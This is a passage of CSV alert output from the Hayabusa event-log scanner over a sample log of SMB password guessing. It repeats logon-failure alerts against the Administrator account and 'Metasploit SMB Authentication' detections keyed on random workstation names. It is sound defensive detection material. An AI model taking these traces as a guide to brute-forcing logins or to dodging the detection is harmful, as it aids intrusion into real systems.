Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.272 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xRYbdVMbUlqFK8oM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.272 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.316 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OSO730O1fxDL4DfQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.316 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.352 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5wmniv339HLGKB4u : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.352 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.397 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rO3mxvgSES0lVN34 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.397 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.433 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fvK9k9tnCq5hwBqe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.433 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.465 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ujFfMT6I6L8OHag9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.465 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.517 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FWKY2Wh21sePUR1L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.517 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.562 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6E6yf8D5cPOEwR0y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.562 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.605 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OpFho8k52BkBlg4Y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.605 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.645 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ucDvfSfDYZzjNWFS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.645 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.688 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vnq3S0gEE98xfYLv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.688 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.724 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: seVfaEdAS6lEXgkG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.724 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.764 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Gz8BQAlyYXB61tx3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.764 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.805 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nkHLs6yikRWVjj9F : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.805 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.840 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0bQUcnUBCmE81G6I : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.840 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.873 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BceDCcXoHJQv9pDi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.873 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.916 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GCCLt49g8wmAMEyV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.916 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.947 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pM6C8KRcxVIUsZrZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.947 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.984 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Fw5DU6l3QRVl9cWY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:35.984 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.016 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 37UthbuO3m4Lr7dU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.016 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.056 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: URB7Ji5pQleLtvy4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.056 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.101 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: orP9OgiBrYIKZPXE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.101 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.132 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZwvdnlIWhqoDg8On : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.132 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.181 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v6dXVbmLBpXc39ah : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.181 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.229 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8Mu7amiHAg0l7bza : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.229 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.276 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JdG6F697kAXFDx9m : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.276 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.321 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jY5AAnfQMH3VZQUa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.321 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.357 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iVep4j7jZZAOAQAj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.357 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.393 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KWWtGIQx8jBgAeoH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.393 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.427 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zn8X8gen8gX9i3QK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.427 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.476 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: B9OdUM99RBHzwgVs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.476 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.518 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TJbBVm6wDrqyQmpZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.518 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.564 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tAVRBfMxIyrfsEtR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.564 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.600 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wuCIClZihRxRyjGF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.600 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.796 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yxhpEP6nnmihvkHB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.796 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.833 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: J1HYmJDrWmKjj8DF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.833 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.872 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V81dIfR2SRNDk3a2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.872 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.908 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vaZpLaxB1kcCXqHP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.908 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.949 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JRhs8IoV6R6vyCdL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.949 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.988 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4wUYds3Ym3G2abrV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:36.988 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.016 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tmBfxm6pPLlSEsUI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.016 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.056 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VbAuqFggx0zz5iEn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.056 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.104 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8cytpVOjb4KrNaGg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.104 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.149 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BFFFt7eFzmlzbHhG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.149 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.184 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AJQBZZiNKVGXzx4A : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.184 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.224 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7gyu6EyrtbyowTfC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.224 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.267 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aASpkRuPfE8Nl64n : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.267 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 